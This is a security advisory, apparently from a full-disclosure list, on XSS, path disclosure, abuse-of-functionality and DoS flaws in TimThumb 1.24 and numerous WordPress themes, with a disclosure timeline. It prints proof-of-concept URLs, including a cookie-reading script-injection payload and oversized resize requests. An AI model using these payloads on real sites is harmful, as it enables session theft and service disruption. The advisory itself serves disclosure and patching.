TimThumb 1.24 XSS / DoS / Path Disclosure

`Hello list!  
  
I want to warn you about Cross-Site Scripting, Full path disclosure, Abuse  
of Functionality and Denial of Service vulnerabilities in TimThumb and  
multiple themes for WordPress.  
  
-------------------------  
Affected products:  
-------------------------  
  
Vulnerable are TimThumb and all web applications (particularly themes for  
WordPress) which are using it. It's such themes as Live Wire Edition, The  
Gazette Edition, Live Wire 2.0 and Live Wire Style.  
  
And also the next commercial themes (by WooThemes): Bookclub, Fresh News,  
BoldNews, Placeholder, Biznizz, Auld, Listings, Elefolio, Chapters,  
Continuum, Diner, Skeptical, Caffeinated, Crisp, Sealight, Unite, Estate,  
The Morning After, Coda, Inspire, Apz, Spectrum, Diarise, Boast, Retreat,  
City Guide, Cinch, Slanted, Canvas, Postcard, Delegate, MyStream, Optimize,  
Backstage, SophisticatedFolio, Bueno, Digital Farm, Headlines, f0101,  
Royalle, Exposure, Therapy, Rockstar, Daily Edition, Object, Antisocial,  
Coffee Break, Mortar, Big Easy, Mainstream, Groovy Photo, Groovy Blog,  
Feature Pitch, Suit and Tie, The Journal, myweblog, Aperture,  
Meta-Morphosis, Bloggingstream, The Station, Groovy Video, Productum,  
Newsport, Irresistible, Cushy, WooTube, Foreword Thinking, Geometric,  
Abstract, Busy Bee, BlogTheme, Gotham News, THiCK, Typebased, Over Easy,  
Ambience, Snapshot, Open Air, Fresh Folio, Papercut, ProudFolio, VibrantCMS,  
Flash News, NewsPress, The Original Premium News and other themes for WP.  
Vulnerabilities in these themes are similar to holes in above-mentioned  
themes.  
  
Vulnerable are TimThumb 1.24 and previous versions (and themes for WP with  
these versions). XSS is possible only in old versions of the program. In  
versions before 1.22 the AoF is possible even with turned on domain  
restriction via using of bypass technique. Also it's possible to conduct DoS  
attacks, if large file is placed at the same site with php-script or at  
allowed domain. Or if external sites are allowed in the script, then it's  
possible to conduct AoF and DoS attacks. In version TimThumb 1.25 the  
vulnerabilities were mostly fixed.  
  
----------  
Details:  
----------  
  
XSS (WASC-08):  
  
http://site/path/thumb.php?src=%3Cbody%20onload=alert(document.cookie)%3E.jpg  
  
Full path disclosure (WASC-13):  
  
http://site/path/thumb.php?src=http://  
  
http://site/path/thumb.php?src=http://site/page.png&h=1&w=1111111  
  
http://site/path/thumb.php?src=http://site/page.png&h=1111111&w=1  
  
Abuse of Functionality (WASC-42):  
  
http://site/path/thumb.php?src=http://site&h=1&w=1  
  
http://site/path/thumb.php?src=http://site.google.com&h=1&w=1 (bypass of  
domain restriction, if such restriction is turned on)  
  
DoS (WASC-10):  
  
http://site/path/thumb.php?src=http://site/big_file&h=1&w=1  
  
About such AoF and DoS vulnerabilities I wrote in article Using of the sites  
for attacks on other sites  
(http://lists.grok.org.uk/pipermail/full-disclosure/2010-June/075384.html).  
  
------------  
Timeline:  
------------  
  
2011.02.01 - informed developers from WooThemes about holes in their themes.  
2011.02.04-12 - conversation about fixing holes in all their themes for WP.  
2011.02.07 - announced at my site.  
2011.02.08 - informed developer of TimThumb.  
2011.02.13 - developer of TimThumb released version 1.25.  
2011.02.13 - developers from WooThemes begun updating TimThumb in all their  
themes.  
2011.04.13 - disclosed at my site.  
  
I mentioned about these vulnerabilities at my site  
(http://websecurity.com.ua/4910/).  
  
Best wishes & regards,  
MustLive  
Administrator of Websecurity web site  
http://websecurity.com.ua  
  
`